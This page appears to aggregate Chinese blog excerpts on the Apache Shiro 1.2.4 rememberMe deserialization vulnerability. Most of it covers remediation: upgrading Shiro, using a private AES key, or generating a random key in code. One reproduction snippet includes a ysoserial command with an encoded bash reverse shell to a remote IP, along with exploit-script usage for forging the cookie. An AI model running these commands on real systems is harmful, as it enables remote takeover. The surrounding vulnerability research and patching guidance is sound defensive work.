精华内容
下载资源
问答
  • shiro反序列化漏洞修复

    千次阅读 2020-06-09 15:41:51
    文章目录shiro反序列化漏洞修复前言解决方案 shiro反序列化漏洞修复 前言 最近项目在进行安全漏洞扫描的时候,出现一个shiro的反序列化漏洞的问题: 目标IP站点存在Apache shiro 已知密钥泄露导致的远程代码执行漏洞...

    shiro反序列化漏洞修复

    前言

    最近项目在进行安全漏洞扫描的时候,出现一个shiro的反序列化漏洞的问题:目标IP站点存在Apache shiro 已知密钥泄露导致的远程代码执行漏洞。通过查找项目源码发现,在shiro的配置文件里,确实写死了一个秘钥,在开发环境的中不建议直接写死秘钥,大家要引以为戒!
    在这里插入图片描述

    解决方案

    后面通过源码分析,发现了shiro有自己的随机生成秘钥的方法。既然找到的方法,那就好说了,按照源码的方式新写一个秘钥生成器

    public class GenerateCipherKey {
    
        /**
         * 随机生成秘钥,参考org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int)
         * @return
         */
        public static byte[] generateNewKey() {
            KeyGenerator kg;
            try {
                kg = KeyGenerator.getInstance("AES");
            } catch (NoSuchAlgorithmException var5) {
                String msg = "Unable to acquire AES algorithm.  This is required to function.";
                throw new IllegalStateException(msg, var5);
            }
    
            kg.init(128);
            SecretKey key = kg.generateKey();
            byte[] encoded = key.getEncoded();
            return encoded;
        }
    }
    

    最后在shiro的配置文件里,引用GenerateCipherKey的generateNewKey方法

    <bean id="rememberMeManager" class="org.apache.shiro.web.mgt.CookieRememberMeManager">
    		<property name="cipherKey" value="#{T(com.xxx.xxx.xxx.xxx.GenerateCipherKey).generateNewKey()}"></property>
    		<property name="cookie" ref="rememberMe"></property>
    	</bean>
    

    参考地址:https://blog.csdn.net/weixin_38307489/article/details/104618667

    展开全文
  • Shiro反序列化漏洞修复 上篇进行了shiro反序列化漏洞的模拟攻击,进行攻击后,由于很多时候我们的系统采用了shiro框架,因此需要对现有系统进行漏洞修复,下面针对不同类型的系统提出了不同的修复方案。 1、漏洞...

    Shiro反序列化漏洞修复

    shiro反序列化漏洞分析、模拟攻击及修复(一)

    shiro反序列化漏洞分析、模拟攻击及修复(二)

    上篇进行了shiro反序列化漏洞的模拟攻击,进行攻击后,由于很多时候我们的系统采用了shiro框架,因此需要对现有系统进行漏洞修复,下面针对不同类型的系统提出了不同的修复方案。

    1、漏洞修复分析及方案

    反序列化漏洞成因:

    rememberMe功能的AES密钥硬编码在代码中,造成密钥泄露。使得恶意攻击者可以利用系统在用户登录并勾选了“记住我”时所生成cookie的流程,构造恶意cookie,服务器收到该cookie后解析出的命令可能会造成信息泄露等安全风险。

    针对此,我们提出三种修复方案。

    修复方案一:升级Shiro依赖版本

     

    • Apache官方的漏洞修复采用了在代码中随机生成密钥的方式,因此可以采用升级Shiro版本为1.2.5及以上。
    • 此方案适用于开发初期或代码依赖库较简单不会产生依赖冲突。

    修复方案二:私有化硬编码密钥

    • 采用在Shiro配置文件中加入rememberMeManager管理器来硬编码指定加密密钥,此密钥建议采用私有密钥,切勿采用网络上已有密钥。
    • 此方案适用于代码的保密性较强或用于练习的项目。

    修复方案三:随机生成密钥

    • 在项目中新建随机生成AES加解密密钥的方法,在Shiro配置文件的rememberMeManager中调用该方法进行密钥动态生成。此方案与升级Shiro版本的本质策略相同。
    • 此方案适用于项目后期漏洞修复,可最小化对原有项目的影响。

    2、漏洞修复Demo验证

    Step1: 创建用于验证的demo
    Demo的特性如下:采用Apache Shiro1.2.4 为身份认证框架;包含“登录” 及“记住我”功能

    demo下载链接

    Step2: 创建密钥随机生成类GenerateCipherKey

    此方法与Shiro1.2.5及以上随机生成密钥所调用的org.apache.shiro.crypto.

    AbstractSymmetricCipherService#generateNewKey()方法作用一致。

    Step3: 修改Shiro配置文件。

    • 在安全管理器SecurityManager中加入rememberMeManager

    • 添加rememberMeManager,调用getCipherKey()随机生成密钥。

    Step4: 运行Demo

    运行后进行攻击,验证结果如下:

    • Cookie的加密密钥已变更,不再是Shiro1.2.4 中所采用的默认密钥;
    • Shiro配置文件中设置的“随机生成密钥” 已生效;
    • 可以采用此方法进行AES密钥保护。

    总结

    Shiro RememberMe反序列化漏洞总结:

    • 学习了解一个框架的最佳途径就是分析源码,网上的解析文章仅作为辅助工具。
    • 日后在涉及到加解密等信息处理时,要注意保护加解密算法、密钥等敏感信息。

    漏洞修复总结:

    升级Shiro依赖版本、硬编码密钥私有化以及随机生成密钥三种修复方案,均有各自的适用情况。对于任何项目中存在的漏洞最佳修复方式就是“外挂式”修复,尽可能保证代码结构的松耦合,因修复而添加的内容不影响原有程序的正常运行。

    最后,作为一名小白程序媛,通过完成这次shiro反序列化漏洞的修复研究,感触特别深的是阅读源码真的是学习的一种好的方式,虽然在一开始读源码的时候觉得读不下去,很难懂,但是硬着头皮继续往下读感觉就会慢慢好一点,这样可以让我们特别准确深刻的理解一个原理。

     

    展开全文
  • shrio反序列化漏洞一、漏洞介绍Shiro 是 Java 的一个安全框架。Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。...

    shrio反序列化漏洞

    一、漏洞介绍

    Shiro 是 Java 的一个安全框架。Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

    参考文章:http://www.secwk.com/2019/09/18/2818/

    二、影响范围

    Apache Shiro <= 1.2.4

    三、漏洞复现

    恶意 Cookie rememberMe值构造前16字节的密钥–>后面加入序列化参数–>AES加密–>base64编码–>发送cookie

    这是我们的漏洞环境

    a0b8f7a9714c882aae3c898629ba6e4a.png

    用burp抓包,看一下响应

    143b875f8b07b21ce6bfbbf5766ee8a3.png

    返回包用有个Set-Cookie: rememberMe=deleteMe;

    可以用我们的shiro检测工具测试一下

    ShiroScan地址:https://github.com/sv3nbeast/ShiroScan

    这个工具还是挺全的

    8636b25abf4d1557d261d04a5860dbe0.png

    78a372a0d22ed958f296982dfafed006.png

    成功打到DNSLOG 返回信息

    检测到有这个漏洞,我们就利用下,看能不能反弹个shell

    首先在我们服务器开一个nc监听

    b12dc1893f6831cf6df7198c2e6d4517.png

    然后进http://www.jackson-t.ca/runtime-exec-payloads.html

    27dcf96e7fe6fd6c5def09689bd75a80.png

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1299 CommonsCollections4 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTIzLjEyMy4xMjMvNzc3IDA+JjE=}|{base64,-d}|{bash,-i}”

    d316e5eb52068d86ead692ce699bcb33.png

    python3 shiro_exp.py -u 漏洞地址 -lh 服务器地址 -lp 监听端口

    cb4245ad43d9509fa65b233958750846.png

    将生成的值放到burp抓到的数据包里面

    d13e6d9f4e0a0086d490ca8782570c8b.png

    0e6040bb91ec9203c1c0b4523f0b496e.png

    然后我们的服务器这边就弹到shell了

    反正我是搞了一整天,最后nc就是不弹,搞这东西需要细心,一个符号出错可能就不行

    四、漏洞修复

    先说结论:无论是否升级shiro到1.2.5及以上,如果shiro的rememberMe功能的AES密钥一旦泄露,就会导致反序列化漏洞。

    跟了shiro 1.3.2的代码,看到官方的操作如下:

    删除代码里的默认密钥

    默认配置里注释了默认密钥

    如果不配置密钥,每次会重新随机一个密钥

    可以看到并没有对反序列化做安全限制,只是在逻辑上对该漏洞进行了处理。如果在配置里自己单独配置AES的密钥,并且密钥一旦泄露,那么漏洞依然存在。所以漏洞修复的话,我建议下面的方案同时进行:

    升级shiro到1.2.5及以上如果在配置里配置了密钥,那么请一定不要使用网上的密钥,一定不要!!请自己base64一个AES的密钥,或者利用官方提供的方法生成

    总结

    标准的AES的加解密只跟私钥key和加密模式有关,和IV无关。

    为了证明反序列化漏洞确实存在,可以利用ysoserial的URLDNS gadget进行验证,但是默认会有TTL缓存机制,默认10s。

    反序列化导致的命令执行需要两个点:

    readObject()反序列化的内容可控。

    应用引用的jar包中存在可命令执行的Gadget Chain。

    展开全文
  • 最近给做了一个项目,昨天被检测出shiro反序列化漏洞,一脸懵逼,连夜加班抢修,好在已经有很多前辈已经碰到过这个问题,给出了解决方案,这里我在记录一下,作为这次事故的总结,也可以为后来的人提供快捷的解决...

    最近给做了一个项目,昨天被检测出shiro反序列化漏洞,一脸懵逼,连夜加班抢修,好在已经有很多前辈已经碰到过这个问题,给出了解决方案,这里我在记录一下,作为这次事故的总结,也可以为后来的人提供快捷的解决思路。

    网上比较多的说到shiro 1.2.4之前的版本就存在反序列漏洞,上面贴出前两篇文章都详细的给出了导致漏洞的原因以及复现的过程,我这里就不在赘述,总结下来就是shiro的“记住我”的功能用到了AES加密,但是密钥是硬编码在代码里的,所以很容易拿到密钥,因为 AES 是对称加密,即加密密钥也同样是解密密钥,所以就可以通过恶意构建Cookie获取权限执行攻击命令,拿到root权限,官方解决的方案是简单的弃用了问题代码,链接:SHIRO-550: Disable remember-me functionality by default,所以建议是升级shiro版本,避免该问题,新版本到shiro 1.2.5及以上版本,就不存在硬编码密钥的问题,而改为自定义密钥,但是我看了一下我使用的shiro版本是1.4.0,按理不应该存在该问题了啊,那问题出在哪里呢,片头引用的第四篇文章里面说到了升级shiro版本后仍然存在反序列化漏洞,其原因是因为我们使用了别人的开源框架,他们在代码里会配置shiro的密钥,而关键代码可以在github上通过api search接口搜索到,从而得到一个所谓的key包,其实就是这些密钥的集合,然后用这些公开的密钥去轮流尝试,如果你用了开源的框架,而没有修改shiro的密钥,其实这就相当于你使用的shiro密钥已经泄露,这是非常危险的。

    明白了问题所在,解决就很简单了:

    1.确定自己使用的shiro版本要高于1.2.4;

    2.在代码中全局搜索 "setCipherKey(Base64.decode(" 关键字,或者"setCipherKey"方法,Base64.decode()中的字符串就是shiro的密钥,要确保该密钥的安全性,千万不要使用公开的密钥。

    因为笔者使用了一个开源的库,密钥没有修改才导致了该问题,好在虚惊一场,没有造成什么损失,但是要记住这个教训,提高安全意识啊。

    展开全文
  • 写在前面今天收到运维人员的反馈,说程序有漏洞,如下图: 哎,不查不知道,一查吓一跳。发现两个问题!!Apache Shiro是一个强大且易用的Java安全框架,被用来执行身份验证、授权、密码和会话管理。我手头项目的一个...
  • 写在前面这篇博文主要解决于一些朋友为了修复反序列化漏洞,根据某些帖子的内容升级了shiro版本,或者采用了随机生成key的方式后,不知道是否管用。特地写下一篇记录,分享一个检测工具。我在之前项目中碰到了这个...
  • Shiro反序列化漏洞检测及修复(工具分享)

    千次阅读 多人点赞 2020-10-12 11:51:01
    这篇博文主要解决于一些朋友为了修复反序列化漏洞,根据某些帖子的内容升级了shiro版本,或者采用了随机生成key的方式后,不知道是否管用。特地写下一篇记录,分享一个检测工具。 我在之前项目中碰到了这个问题,...
  • 在网络信息管理部门的一次清查中,系统被测出存在shiro反序列化漏洞,如图一。 当时shiro的版本为1.2.2,按照网上所说的,运行稳定的项目可以通过在配置文件的securityManager中配置rememberMe,并写一个1.2.5及...
  • shiro反序列化漏洞模拟攻击 得知cookie的流程后,我们可以根据其处理流程进行恶意请求数据构造,首先使用ysoserial将恶意数据进行序列化,其次将序列化后的数据进行AES加密,然后将AES密文进行BASE64编码,最后得到...
  • Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它编号为550的 issue 中爆出严重的 Java 反序列化漏洞。下面,我们将首先搭建漏洞环境,模拟还原此漏洞的场景及分析,最后修补此漏洞。 实验...
  • 2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞。尽管该漏洞已经曝光几年,但是在实战中仍然比较实用。花了点时间研究了下,并根据网络上的利用脚本改进。主要修改了检测方式,并使利用方式更加简单灵活,使其...
  • Apache Shiro 反序列化漏洞实战

    千次阅读 2020-03-22 16:27:06
    2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞。尽管该漏洞已经曝光几年,但是在实战中仍然比较实用。花了点时间研究了下,并根据网络上的利用脚本改进。主要修改了检测方式,并使利用方式更加简单灵活,使其...
  • Author: rungobier(知道创宇404安全实验室)Date: 2016-08-030x00 概述Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它编号为550的 issue 中爆出严重的 Java 反序列化漏洞。下面,我们将模拟...
  • 0x01 漏洞简介Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。...攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。影响版本 Sh...
  • 某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell。出于做安全的谨慎,马上出现场应急,确认漏洞。该漏洞存在在cookie字段中的rememberMe字段中,可以RCE 漏洞应急 来到现场后,发现已经...
  • 前言 过去的几个月里,发生了太多的事,导致多日未更新,不过,却发现...3.如何修复Shiro反序列化漏洞Shiro反序列化漏洞是什么? 我们先来了解下Shiro是什么吧,百度曰:Apache Shiro是一个强大且易用的Java.
  • 阿里漏洞扫描系统 解决办法 借鉴了 https://blog.csdn.net/Fly_hps/article/details/106112692 下载windows 扫描工具 https://github.com/feihong-cs/ShiroExploit/releases 1.查看当前状态 双击打开jar包 前提是...
  • Shiro反序列化检测工具ShiroScan用于检测存在Shiro反序列化漏洞的key值。有三种方式进行检测,第一种是利用URLDNS进行检测,第二种利用命令执行进行检测,第三种使用SimplePrincipalCollection序列化后进行检测...
  • 目前已出图形界面工具,一键即可检测和getshell工具地址:https://github.com/feihong-cs/ShiroExploit使用案例:分割线(以上内容为最新更新内容)——————————————————————————————...
  • 2016年网络中曝光 Apache Shiro 1.2.4 以前的版本存在反序列化漏洞,尽管该漏洞已经曝光几年,但是在实战中仍然比较实用。 影响版本 Apache Shiro <= 1.2.4 漏洞原理 Apache Shiro框架提供了记住我的功能...
  • Apache Shiro 1.2.4反序列化漏洞复现

    千次阅读 2019-11-16 00:06:31
    目录漏洞背景漏洞描述影响版本漏洞复现修复建议参考链接 漏洞背景 漏洞描述 shiro默认使用了CookieRememberMeManager, 其处理cookie的流程是: 得到rememberMe的cookie值进行Base64解码,然后AES解密,再反序列;...
  • Apache Shiro 1.2.4反序列化漏洞分析

    千次阅读 2019-08-30 14:57:06
    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。 0×00 Apache Shiro 这个组件的漏洞很久之前就爆出来了,但是最近工作中又遇到了,刚好...
  • shiro漏洞修复

    2020-09-03 09:49:43
    shiro反序列化漏洞可以获取操作系统用户权限,危害颇大。公司存在一些老旧系统,发现存在shiro漏洞,怎么最小成本修复,又不影响系统运行呢! 在shiro程序前面加上一层代理openresty, 配合lua脚本,过滤remember...
  • Shiro核心jar包.rar

    2020-10-22 14:46:16
    apache shiro java 反序列化漏洞修复,shiro-core 1.3.2.jar免费下载,apache类夹包,需要的可以下载使用哦

空空如也

空空如也

1 2
收藏数 24
精华内容 9
关键字:

shiro反序列化漏洞修复